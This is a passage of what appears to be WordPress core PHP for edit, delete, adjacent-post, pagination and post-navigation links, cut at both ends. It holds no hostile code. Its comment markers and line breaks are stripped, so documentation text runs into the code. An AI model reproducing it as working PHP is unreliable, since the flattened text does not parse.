esc_url( $url ) . '">' . $text . '</a>'; * * Filters the post edit link anchor tag. * * @since 2.3.0 * * @param string $link Anchor tag for the edit link. * @param int $post_id Post ID. * @param string $text Anchor text. echo $before . apply_filters( 'edit_post_link', $link, $post->ID, $text ) . $after; } * * Retrieves the delete posts link for post. * * Can be used within the WordPress loop or outside of it, with any post type. * * @since 2.9.0 * * @param int|WP_Post $id Optional. Post ID or post object. Default is the global `$post`. * @param string $deprecated Not used. * @param bool $force_delete Optional. Whether to bypass trash and force deletion. Default false. * @return string|void The delete post link URL for the given post. function get_delete_post_link( $id = 0, $deprecated = '', $force_delete = false ) { if ( ! empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '3.0.0' ); if ( !$post = get_post( $id ) ) return; $post_type_object = get_post_type_object( $post->post_type ); if ( !$post_type_object ) return; if ( !current_user_can( 'delete_post', $post->ID ) ) return; $action = ( $force_delete || !EMPTY_TRASH_DAYS ) ? 'delete' : 'trash'; $delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object->_edit_link, $post->ID ) ) ); * * Filters the post delete link. * * @since 2.9.0 * * @param string $link The delete link. * @param int $post_id Post ID. * @param bool $force_delete Whether to bypass the trash and force deletion. Default false. return apply_filters( 'get_delete_post_link', wp_nonce_url( $delete_link, "$action-post_{$post->ID}" ), $post->ID, $force_delete ); } * * Retrieves the edit comment link. * * @since 2.3.0 * * @param int|WP_Comment $comment_id Optional. Comment ID or WP_Comment object. * @return string|void The edit comment link URL for the given comment. function get_edit_comment_link( $comment_id = 0 ) { $comment = get_comment( $comment_id ); if ( !current_user_can( 'edit_comment', $comment->comment_ID ) ) return; $location = admin_url('comment.php?action=editcomment&c=') . $comment->comment_ID; * * Filters the comment edit link. * * @since 2.3.0 * * @param string $location The edit link. return apply_filters( 'get_edit_comment_link', $location ); } * * Displays the edit comment link with formatting. * * @since 1.0.0 * * @param string $text Optional. Anchor text. If null, default is 'Edit This'. Default null. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. function edit_comment_link( $text = null, $before = '', $after = '' ) { $comment = get_comment(); if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) { return; } if ( null === $text ) { $text = __( 'Edit This' ); } $link = '<a class="comment-edit-link" href="' . esc_url( get_edit_comment_link( $comment ) ) . '">' . $text . '</a>'; * * Filters the comment edit link anchor tag. * * @since 2.3.0 * * @param string $link Anchor tag for the edit link. * @param int $comment_id Comment ID. * @param string $text Anchor text. echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID, $text ) . $after; } * * Displays the edit bookmark link. * * @since 2.7.0 * * @param int|stdClass $link Optional. Bookmark ID. Default is the id of the current bookmark. * @return string|void The edit bookmark link URL. function get_edit_bookmark_link( $link = 0 ) { $link = get_bookmark( $link ); if ( !current_user_can('manage_links') ) return; $location = admin_url('link.php?action=edit&link_id=') . $link->link_id; * * Filters the bookmark edit link. * * @since 2.7.0 * * @param string $location The edit link. * @param int $link_id Bookmark ID. return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id ); } * * Displays the edit bookmark link anchor content. * * @since 2.7.0 * * @param string $link Optional. Anchor text. Default empty. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. * @param int $bookmark Optional. Bookmark ID. Default is the current bookmark. function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) { $bookmark = get_bookmark($bookmark); if ( !current_user_can('manage_links') ) return; if ( empty($link) ) $link = __('Edit This'); $link = '<a href="' . esc_url( get_edit_bookmark_link( $bookmark ) ) . '">' . $link . '</a>'; * * Filters the bookmark edit link anchor tag. * * @since 2.7.0 * * @param string $link Anchor tag for the edit link. * @param int $link_id Bookmark ID. echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after; } * * Retrieves the edit user link. * * @since 3.5.0 * * @param int $user_id Optional. User ID. Defaults to the current user. * @return string URL to edit user page or empty string. function get_edit_user_link( $user_id = null ) { if ( ! $user_id ) $user_id = get_current_user_id(); if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) ) return ''; $user = get_userdata( $user_id ); if ( ! $user ) return ''; if ( get_current_user_id() == $user->ID ) $link = get_edit_profile_url( $user->ID ); else $link = add_query_arg( 'user_id', $user->ID, self_admin_url( 'user-edit.php' ) ); * * Filters the user edit link. * * @since 3.5.0 * * @param string $link The edit link. * @param int $user_id User ID. return apply_filters( 'get_edit_user_link', $link, $user->ID ); } Navigation links * * Retrieves the previous post that is adjacent to the current post. * * @since 1.5.0 * * @param bool $in_same_term Optional. Whether post should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return null|string|WP_Post Post object if successful. Null if global $post is not set. Empty string if no * corresponding post exists. function get_previous_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { return get_adjacent_post( $in_same_term, $excluded_terms, true, $taxonomy ); } * * Retrieves the next post that is adjacent to the current post. * * @since 1.5.0 * * @param bool $in_same_term Optional. Whether post should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return null|string|WP_Post Post object if successful. Null if global $post is not set. Empty string if no * corresponding post exists. function get_next_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { return get_adjacent_post( $in_same_term, $excluded_terms, false, $taxonomy ); } * * Retrieves the adjacent post. * * Can either be next or previous post. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param bool $in_same_term Optional. Whether post should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param bool $previous Optional. Whether to retrieve previous post. Default true * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return null|string|WP_Post Post object if successful. Null if global $post is not set. Empty string if no * corresponding post exists. function get_adjacent_post( $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) { global $wpdb; if ( ( ! $post = get_post() ) || ! taxonomy_exists( $taxonomy ) ) return null; $current_post_date = $post->post_date; $join = ''; $where = ''; $adjacent = $previous ? 'previous' : 'next'; if ( $in_same_term || ! empty( $excluded_terms ) ) { if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) { back-compat, $excluded_terms used to be $excluded_terms with IDs separated by " and " if ( false !== strpos( $excluded_terms, ' and ' ) ) { _deprecated_argument( __FUNCTION__, '3.3.0', sprintf( __( 'Use commas instead of %s to separate excluded terms.' ), "'and'" ) ); $excluded_terms = explode( ' and ', $excluded_terms ); } else { $excluded_terms = explode( ',', $excluded_terms ); } $excluded_terms = array_map( 'intval', $excluded_terms ); } if ( $in_same_term ) { $join .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id"; $where .= $wpdb->prepare( "AND tt.taxonomy = %s", $taxonomy ); if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) ) return ''; $term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) ); Remove any exclusions from the term array to include. $term_array = array_diff( $term_array, (array) $excluded_terms ); $term_array = array_map( 'intval', $term_array ); if ( ! $term_array || is_wp_error( $term_array ) ) return ''; $where .= " AND tt.term_id IN (" . implode( ',', $term_array ) . ")"; } * * Filters the IDs of terms excluded from adjacent post queries. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * @since 4.4.0 * * @param string $excluded_terms Array of excluded term IDs. $excluded_terms = apply_filters( "get_{$adjacent}_post_excluded_terms", $excluded_terms ); if ( ! empty( $excluded_terms ) ) { $where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )'; } } 'post_status' clause depends on the current user. if ( is_user_logged_in() ) { $user_id = get_current_user_id(); $post_type_object = get_post_type_object( $post->post_type ); if ( empty( $post_type_object ) ) { $post_type_cap = $post->post_type; $read_private_cap = 'read_private_' . $post_type_cap . 's'; } else { $read_private_cap = $post_type_object->cap->read_private_posts; } * Results should include private posts belonging to the current user, or private posts where the * current user has the 'read_private_posts' cap. $private_states = get_post_stati( array( 'private' => true ) ); $where .= " AND ( p.post_status = 'publish'"; foreach ( (array) $private_states as $state ) { if ( current_user_can( $read_private_cap ) ) { $where .= $wpdb->prepare( " OR p.post_status = %s", $state ); } else { $where .= $wpdb->prepare( " OR (p.post_author = %d AND p.post_status = %s)", $user_id, $state ); } } $where .= " )"; } else { $where .= " AND p.post_status = 'publish'"; } $op = $previous ? '<' : '>'; $order = $previous ? 'DESC' : 'ASC'; * * Filters the JOIN clause in the SQL for an adjacent post query. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * @since 2.5.0 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters. * * @param string $join The JOIN clause in the SQL. * @param bool $in_same_term Whether post should be in a same taxonomy term. * @param array $excluded_terms Array of excluded term IDs. * @param string $taxonomy Taxonomy. Used to identify the term used when `$in_same_term` is true. * @param WP_Post $post WP_Post object. $join = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_term, $excluded_terms, $taxonomy, $post ); * * Filters the WHERE clause in the SQL for an adjacent post query. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * @since 2.5.0 * @since 4.4.0 Added the `$taxonomy` and `$post` parameters. * * @param string $where The `WHERE` clause in the SQL. * @param bool $in_same_term Whether post should be in a same taxonomy term. * @param array $excluded_terms Array of excluded term IDs. * @param string $taxonomy Taxonomy. Used to identify the term used when `$in_same_term` is true. * @param WP_Post $post WP_Post object. $where = apply_filters( "get_{$adjacent}_post_where", $wpdb->prepare( "WHERE p.post_date $op %s AND p.post_type = %s $where", $current_post_date, $post->post_type ), $in_same_term, $excluded_terms, $taxonomy, $post ); * * Filters the ORDER BY clause in the SQL for an adjacent post query. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * @since 2.5.0 * @since 4.4.0 Added the `$post` parameter. * @since 4.9.0 Added the `$order` parameter. * * @param string $order_by The `ORDER BY` clause in the SQL. * @param WP_Post $post WP_Post object. * @param string $order Sort order. 'DESC' for previous post, 'ASC' for next. $sort = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order LIMIT 1", $post, $order ); $query = "SELECT p.ID FROM $wpdb->posts AS p $join $where $sort"; $query_key = 'adjacent_post_' . md5( $query ); $result = wp_cache_get( $query_key, 'counts' ); if ( false !== $result ) { if ( $result ) $result = get_post( $result ); return $result; } $result = $wpdb->get_var( $query ); if ( null === $result ) $result = ''; wp_cache_set( $query_key, $result, 'counts' ); if ( $result ) $result = get_post( $result ); return $result; } * * Retrieves the adjacent post relational link. * * Can either be next or previous post relational link. * * @since 2.8.0 * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param bool $previous Optional. Whether to display link to previous or next post. Default true. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return string|void The adjacent post relational link URL. function get_adjacent_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) { if ( $previous && is_attachment() && $post = get_post() ) $post = get_post( $post->post_parent ); else $post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy ); if ( empty( $post ) ) return; $post_title = the_title_attribute( array( 'echo' => false, 'post' => $post ) ); if ( empty( $post_title ) ) $post_title = $previous ? __( 'Previous Post' ) : __( 'Next Post' ); $date = mysql2date( get_option( 'date_format' ), $post->post_date ); $title = str_replace( '%title', $post_title, $title ); $title = str_replace( '%date', $date, $title ); $link = $previous ? "<link rel='prev' title='" : "<link rel='next' title='"; $link .= esc_attr( $title ); $link .= "' href='" . get_permalink( $post ) . "' />\n"; $adjacent = $previous ? 'previous' : 'next'; * * Filters the adjacent post relational link. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * @since 2.8.0 * * @param string $link The relational link. return apply_filters( "{$adjacent}_post_rel_link", $link ); } * * Displays the relational links for the posts adjacent to the current post. * * @since 2.8.0 * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. function adjacent_posts_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy ); echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy ); } * * Displays relational links for the posts adjacent to the current post for single post pages. * * This is meant to be attached to actions like 'wp_head'. Do not call this directly in plugins * or theme templates. * * @since 3.0.0 * * @see adjacent_posts_rel_link() function adjacent_posts_rel_link_wp_head() { if ( ! is_single() || is_attachment() ) { return; } adjacent_posts_rel_link(); } * * Displays the relational link for the next post adjacent to the current post. * * @since 2.8.0 * * @see get_adjacent_post_rel_link() * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. function next_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, false, $taxonomy ); } * * Displays the relational link for the previous post adjacent to the current post. * * @since 2.8.0 * * @see get_adjacent_post_rel_link() * * @param string $title Optional. Link title format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default true. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. function prev_post_rel_link( $title = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_adjacent_post_rel_link( $title, $in_same_term, $excluded_terms, true, $taxonomy ); } * * Retrieves the boundary post. * * Boundary being either the first or last post by publish date within the constraints specified * by $in_same_term or $excluded_terms. * * @since 2.8.0 * * @param bool $in_same_term Optional. Whether returned post should be in a same taxonomy term. * Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. * Default empty. * @param bool $start Optional. Whether to retrieve first or last post. Default true * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return null|array Array containing the boundary post object if successful, null otherwise. function get_boundary_post( $in_same_term = false, $excluded_terms = '', $start = true, $taxonomy = 'category' ) { $post = get_post(); if ( ! $post || ! is_single() || is_attachment() || ! taxonomy_exists( $taxonomy ) ) return null; $query_args = array( 'posts_per_page' => 1, 'order' => $start ? 'ASC' : 'DESC', 'update_post_term_cache' => false, 'update_post_meta_cache' => false ); $term_array = array(); if ( ! is_array( $excluded_terms ) ) { if ( ! empty( $excluded_terms ) ) $excluded_terms = explode( ',', $excluded_terms ); else $excluded_terms = array(); } if ( $in_same_term || ! empty( $excluded_terms ) ) { if ( $in_same_term ) $term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) ); if ( ! empty( $excluded_terms ) ) { $excluded_terms = array_map( 'intval', $excluded_terms ); $excluded_terms = array_diff( $excluded_terms, $term_array ); $inverse_terms = array(); foreach ( $excluded_terms as $excluded_term ) $inverse_terms[] = $excluded_term * -1; $excluded_terms = $inverse_terms; } $query_args[ 'tax_query' ] = array( array( 'taxonomy' => $taxonomy, 'terms' => array_merge( $term_array, $excluded_terms ) ) ); } return get_posts( $query_args ); } * * Retrieves the previous post link that is adjacent to the current post. * * @since 3.7.0 * * @param string $format Optional. Link anchor format. Default '« %link'. * @param string $link Optional. Link permalink format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return string The link URL of the previous post in relation to the current post. function get_previous_post_link( $format = '« %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, true, $taxonomy ); } * * Displays the previous post link that is adjacent to the current post. * * @since 1.5.0 * * @see get_previous_post_link() * * @param string $format Optional. Link anchor format. Default '« %link'. * @param string $link Optional. Link permalink format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. function previous_post_link( $format = '« %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_previous_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy ); } * * Retrieves the next post link that is adjacent to the current post. * * @since 3.7.0 * * @param string $format Optional. Link anchor format. Default '« %link'. * @param string $link Optional. Link permalink format. Default '%title'. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return string The link URL of the next post in relation to the current post. function get_next_post_link( $format = '%link »', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, false, $taxonomy ); } * * Displays the next post link that is adjacent to the current post. * * @since 1.5.0 * @see get_next_post_link() * * @param string $format Optional. Link anchor format. Default '« %link'. * @param string $link Optional. Link permalink format. Default '%title' * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. function next_post_link( $format = '%link »', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { echo get_next_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy ); } * * Retrieves the adjacent post link. * * Can be either next post link or previous. * * @since 3.7.0 * * @param string $format Link anchor format. * @param string $link Link permalink format. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs. Default empty. * @param bool $previous Optional. Whether to display link to previous or next post. Default true. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return string The link URL of the previous or next post in relation to the current post. function get_adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) { if ( $previous && is_attachment() ) $post = get_post( get_post()->post_parent ); else $post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy ); if ( ! $post ) { $output = ''; } else { $title = $post->post_title; if ( empty( $post->post_title ) ) $title = $previous ? __( 'Previous Post' ) : __( 'Next Post' ); * This filter is documented in wp-includes/post-template.php $title = apply_filters( 'the_title', $title, $post->ID ); $date = mysql2date( get_option( 'date_format' ), $post->post_date ); $rel = $previous ? 'prev' : 'next'; $string = '<a href="' . get_permalink( $post ) . '" rel="'.$rel.'">'; $inlink = str_replace( '%title', $title, $link ); $inlink = str_replace( '%date', $date, $inlink ); $inlink = $string . $inlink . '</a>'; $output = str_replace( '%link', $inlink, $format ); } $adjacent = $previous ? 'previous' : 'next'; * * Filters the adjacent post link. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * @since 2.6.0 * @since 4.2.0 Added the `$adjacent` parameter. * * @param string $output The adjacent post link. * @param string $format Link anchor format. * @param string $link Link permalink format. * @param WP_Post $post The adjacent post. * @param string $adjacent Whether the post is previous or next. return apply_filters( "{$adjacent}_post_link", $output, $format, $link, $post, $adjacent ); } * * Displays the adjacent post link. * * Can be either next post link or previous. * * @since 2.5.0 * * @param string $format Link anchor format. * @param string $link Link permalink format. * @param bool $in_same_term Optional. Whether link should be in a same taxonomy term. Default false. * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded category IDs. Default empty. * @param bool $previous Optional. Whether to display link to previous or next post. Default true. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. function adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) { echo get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, $previous, $taxonomy ); } * * Retrieves the link for a page number. * * @since 1.5.0 * * @global WP_Rewrite $wp_rewrite * * @param int $pagenum Optional. Page ID. Default 1. * @param bool $escape Optional. Whether to escape the URL for display, with esc_url(). Defaults to true. * Otherwise, prepares the URL with esc_url_raw(). * @return string The link URL for the given page number. function get_pagenum_link($pagenum = 1, $escape = true ) { global $wp_rewrite; $pagenum = (int) $pagenum; $request = remove_query_arg( 'paged' ); $home_root = parse_url(home_url()); $home_root = ( isset($home_root['path']) ) ? $home_root['path'] : ''; $home_root = preg_quote( $home_root, '|' ); $request = preg_replace('|^'. $home_root . '|i', '', $request); $request = preg_replace('|^/+|', '', $request); if ( !$wp_rewrite->using_permalinks() || is_admin() ) { $base = trailingslashit( get_bloginfo( 'url' ) ); if ( $pagenum > 1 ) { $result = add_query_arg( 'paged', $pagenum, $base . $request ); } else { $result = $base . $request; } } else { $qs_regex = '|\?.*?$|'; preg_match( $qs_regex, $request, $qs_match ); if ( !empty( $qs_match[0] ) ) { $query_string = $qs_match[0]; $request = preg_replace( $qs_regex, '', $request ); } else { $query_string = ''; } $request = preg_replace( "|$wp_rewrite->pagination_base/\d+/?$|", '', $request); $request = preg_replace( '|^' . preg_quote( $wp_rewrite->index, '|' ) . '|i', '', $request); $request = ltrim($request, '/'); $base = trailingslashit( get_bloginfo( 'url' ) ); if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' != $request ) ) $base .= $wp_rewrite->index . '/'; if ( $pagenum > 1 ) { $request = ( ( !empty( $request ) ) ? trailingslashit( $request ) : $request ) . user_trailingslashit( $wp_rewrite->pagination_base . "/" . $pagenum, 'paged' ); } $result = $base . $request . $query_string; } * * Filters the page number link for the current request. * * @since 2.5.0 * * @param string $result The page number link. $result = apply_filters( 'get_pagenum_link', $result ); if ( $escape ) return esc_url( $result ); else return esc_url_raw( $result ); } * * Retrieves the next posts page link. * * Backported from 2.1.3 to 2.0.10. * * @since 2.0.10 * * @global int $paged * * @param int $max_page Optional. Max pages. Default 0. * @return string|void The link URL for next posts page. function get_next_posts_page_link($max_page = 0) { global $paged; if ( !is_single() ) { if ( !$paged ) $paged = 1; $nextpage = intval($paged) + 1; if ( !$max_page || $max_page >= $nextpage ) return get_pagenum_link($nextpage); } } * * Displays or retrieves the next posts page link. * * @since 0.71 * * @param int $max_page Optional. Max pages. Default 0. * @param bool $echo Optional. Whether to echo the link. Default true. * @return string|void The link URL for next posts page if `$echo = false`. function next_posts( $max_page = 0, $echo = true ) { $output = esc_url( get_next_posts_page_link( $max_page ) ); if ( $echo ) echo $output; else return $output; } * * Retrieves the next posts page link. * * @since 2.7.0 * * @global int $paged * @global WP_Query $wp_query * * @param string $label Content for link text. * @param int $max_page Optional. Max pages. Default 0. * @return string|void HTML-formatted next posts page link. function get_next_posts_link( $label = null, $max_page = 0 ) { global $paged, $wp_query; if ( !$max_page ) $max_page = $wp_query->max_num_pages; if ( !$paged ) $paged = 1; $nextpage = intval($paged) + 1; if ( null === $label ) $label = __( 'Next Page »' ); if ( !is_single() && ( $nextpage <= $max_page ) ) { * * Filters the anchor tag attributes for the next posts page link. * * @since 2.7.0 * * @param string $attributes Attributes for the anchor tag. $attr = apply_filters( 'next_posts_link_attributes', '' ); return '<a href="' . next_posts( $max_page, false ) . "\" $attr>" . preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&$1', $label) . '</a>'; } } * * Displays the next posts page link. * * @since 0.71 * * @param string $label Content for link text. * @param int $max_page Optional. Max pages. Default 0. function next_posts_link( $label = null, $max_page = 0 ) { echo get_next_posts_link( $label, $max_page ); } * * Retrieves the previous posts page link. * * Will only return string, if not on a single page or post. * * Backported to 2.0.10 from 2.1.3. * * @since 2.0.10 * * @global int $paged * * @return string|void The link for the previous posts page. function get_previous_posts_page_link() { global $paged; if ( !is_single() ) { $nextpage = intval($paged) - 1; if ( $nextpage < 1 ) $nextpage = 1; return get_pagenum_link($nextpage); } } * * Displays or retrieves the previous posts page link. * * @since 0.71 * * @param bool $echo Optional. Whether to echo the link. Default true. * @return string|void The previous posts page link if `$echo = false`. function previous_posts( $echo = true ) { $output = esc_url( get_previous_posts_page_link() ); if ( $echo ) echo $output; else return $output; } * * Retrieves the previous posts page link. * * @since 2.7.0 * * @global int $paged * * @param string $label Optional. Previous page link text. * @return string|void HTML-formatted previous page link. function get_previous_posts_link( $label = null ) { global $paged; if ( null === $label ) $label = __( '« Previous Page' ); if ( !is_single() && $paged > 1 ) { * * Filters the anchor tag attributes for the previous posts page link. * * @since 2.7.0 * * @param string $attributes Attributes for the anchor tag. $attr = apply_filters( 'previous_posts_link_attributes', '' ); return '<a href="' . previous_posts( false ) . "\" $attr>". preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&$1', $label ) .'</a>'; } } * * Displays the previous posts page link. * * @since 0.71 * * @param string $label Optional. Previous page link text. function previous_posts_link( $label = null ) { echo get_previous_posts_link( $label ); } * * Retrieves the post pages link navigation for previous and next pages. * * @since 2.8.0 * * @global WP_Query $wp_query * * @param string|array $args { * Optional. Arguments to build the post pages link navigation. * * @type string $sep Separator character. Default '—'. * @type string $prelabel Link text to display for the previous page link. * Default '« Previous Page'. * @type string $nxtlabel Link text to display for the next page link. * Default 'Next Page »'. * } * @return string The posts link navigation. function get_posts_nav_link( $args = array() ) { global $wp_query; $return = ''; if ( !is_singular() ) { $defaults = array( 'sep' => ' — ', 'prelabel' => __('« Previous Page'), 'nxtlabel' => __('Next Page »'), ); $args = wp_parse_args( $args, $defaults ); $max_num_pages = $wp_query->max_num_pages; $paged = get_query_var('paged'); only have sep if there's both prev and next results if ($paged < 2 || $paged >= $max_num_pages) { $args['sep'] = ''; } if ( $max_num_pages > 1 ) { $return = get_previous_posts_link($args['prelabel']); $return .= preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&$1', $args['sep']); $return .= get_next_posts_link($args['nxtlabel']); } } return $return; } * * Displays the post pages link navigation for previous and next pages. * * @since 0.71 * * @param string $sep Optional. Separator for posts navigation links. Default empty. * @param string $prelabel Optional. Label for previous pages. Default empty. * @param string $nxtlabel Optional Label for next pages. Default empty. function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) { $args = array_filter( compact('sep', 'prelabel', 'nxtlabel') ); echo get_posts_nav_link($args); } * * Retrieves the navigation to next/previous post, when applicable. * * @since 4.1.0 * @since 4.4.0 Introduced the `in_same_term`, `excluded_terms`, and `taxonomy` arguments. * * @param array $args { * Optional. Default post navigation arguments. Default empty array. * * @type string $prev_text Anchor text to display in the previous post link. Default '%title'. * @type string $next_text Anchor text to display in the next post link. Default '%title'. * @type bool $in_same_term Whether link should be in a same taxonomy term. Default false. * @type array|string $excluded_terms Array or comma-separated list of excluded term IDs. Default empty. * @type string $taxonomy Taxonomy, if `$in_same_term` is true. Default 'category'. * @type string $screen_reader_text Screen reader text for nav element. Default 'Post navigation'. * } * @return string Markup for post links. function get_the_post_navigation( $args = array() ) { $args = wp_parse_args( $args, array( 'prev_text' => '%title', 'next_text' => '%title', 'in_same_term' => false, 'excluded_terms' => '', 'taxonomy' => 'category', 'screen_reader_text' => __( 'Post navigation' ), ) ); $navigation = ''; $previous = get_previous_post_link( '<div class="nav-previous">%link</div>', $args['prev_text'], $args['in_same_term'], $args['excluded_terms'], $args['taxonomy'] ); $next = get_next_post_link( '<div class="nav-next">%link</div>', $args['next_text'], $args['in_same_term'], $args['excluded_terms'], $args['taxonomy'] ); Only add markup if there's somewhere to navigate to. if ( $previous || $next ) { $navigation = _navigation_markup( $previous . $next, 'post-navigation', $args['screen_reader_text'] ); } return $navigation; } * * Displays the navigation to next/previous post, when applicable. * * @since 4.1.0 * * @param array $args Optional. See get_the_post_navigation() for available arguments. * Default empty array. function the_post_navigation( $args = array() ) { echo get_the_post_navigation( $args ); } * * Returns the navigation to next/previous set of posts, when applicable. * * @since 4.1.0 * * @global WP_Query $wp_query WordPress Query object. * * @param array $args { * Optional. Default posts navigation arguments. Default empty array. * * @type string $prev_text Anchor text to display in the previous posts link. * Default 'Older posts'. * @type string $next_text Anchor text to display in the next posts link. * Default 'Newer posts'. * @type string $screen_reader_text Screen reader text for nav element. * Default 'Posts navigation'. * } * @return string Markup for posts links. function get_the_posts_navigation( $args = array() ) { $navigation = ''; Don't print empty markup if there's only one page. if ( $GLOBALS['wp_query']->max_num_pages > 1 ) { $args = wp_parse_args( $args, array( 'prev_text' => __( 'Older posts' ), 'next_text' => __( 'Newer posts' ), 'screen_reader_text' => __( 'Posts navigation' ), ) ); $next_link = get_previous_posts_link( $args['next_text'] ); $prev_link = get_next_posts_link( $args['prev_text'] ); if ( $prev_link ) { $navigation 